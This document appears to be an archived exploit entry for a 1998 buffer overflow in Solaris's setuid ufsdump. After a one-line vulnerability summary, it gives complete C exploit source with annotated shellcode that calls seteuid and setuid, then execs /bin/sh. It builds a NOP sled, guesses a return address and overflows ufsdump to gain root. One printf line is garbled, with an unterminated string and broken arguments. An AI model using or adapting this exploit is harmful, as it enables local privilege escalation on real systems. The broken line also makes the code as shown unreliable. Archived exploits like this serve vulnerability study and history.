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109 | // source: https://www.securityfocus.com/bid/680/info
A buffer overflow vulnerability in the /usr/lib/fs/ufs/ufsdump setuid program allows local users to obtain root and tty group access. The vulnerability is the result of 'ufsdump' not being able to handle device names of a large length.
/**
*** ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
***
*** Tested and confirmed under Solaris 2.6 i386
***
*** Usage: % ufodump [offset]
***
*** where offset (if present) is the number of bytes to add to the stack
*** pointer to calculate your target return address; try -1000 to 1000 in
*** increments of 100 for starters. Thanks go to Seth McGann for the
*** original bug report and a preliminary exploit.
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** December 30, 1998
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN 1100
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x48" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xb4" /* movl %eax,-0x4c(%esi) */
/* 16 */ "\x88\x46\xb9" /* movb %al,-0x47(%esi) */
/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* seteuid: */
/* 25 */ "\x31\xc0" /* xor %eax,%eax */
/* 27 */ "\x50" /* pushl %eax */
/* 28 */ "\xb0\x8d" /* movb $0x8d,%al */
/* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */
/* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* setuid: */
/* 38 */ "\x31\xc0" /* xor %eax,%eax */
/* 40 */ "\x50" /* pushl %eax */
/* 41 */ "\xb0\x17" /* movb $0x17,%al */
/* 43 */ "\xe8\xd2\xff\xff\xff" /* call syscall */
/* 48 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* execve: */
/* 51 */ "\x31\xc0" /* xor %eax,%eax */
/* 53 */ "\x50" /* pushl %eax */
/* 54 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
/* 57 */ "\x53" /* pushl %ebx */
/* 58 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 60 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
/* 63 */ "\x53" /* pushl %ebx */
/* 64 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 66 */ "\xe8\xbb\xff\xff\xff" /* call syscall */
/* 71 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 74 */ "\xe8\xbb\xff\xff\xff" /* call start */
/* data: */
/* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 87 */ "\xff\xff\xff\xff" /* DATA */
/* 91 */ "\xff\xff\xff\xff"; /* DATA */
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;
unsigned long int
get_esp()
{
__asm__("movl %esp,%eax");
}
void
main (int argc, char *argv[])
{
int i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
if (argc > 2)
nop = strtoul(argv[2], NULL, 0);
else
nop = 800;
esp = get_esp();
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;
printf("jumping to 0x%08x (0x%08x offset, nop);
execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);
printf("exec failed!\n");
return;
}
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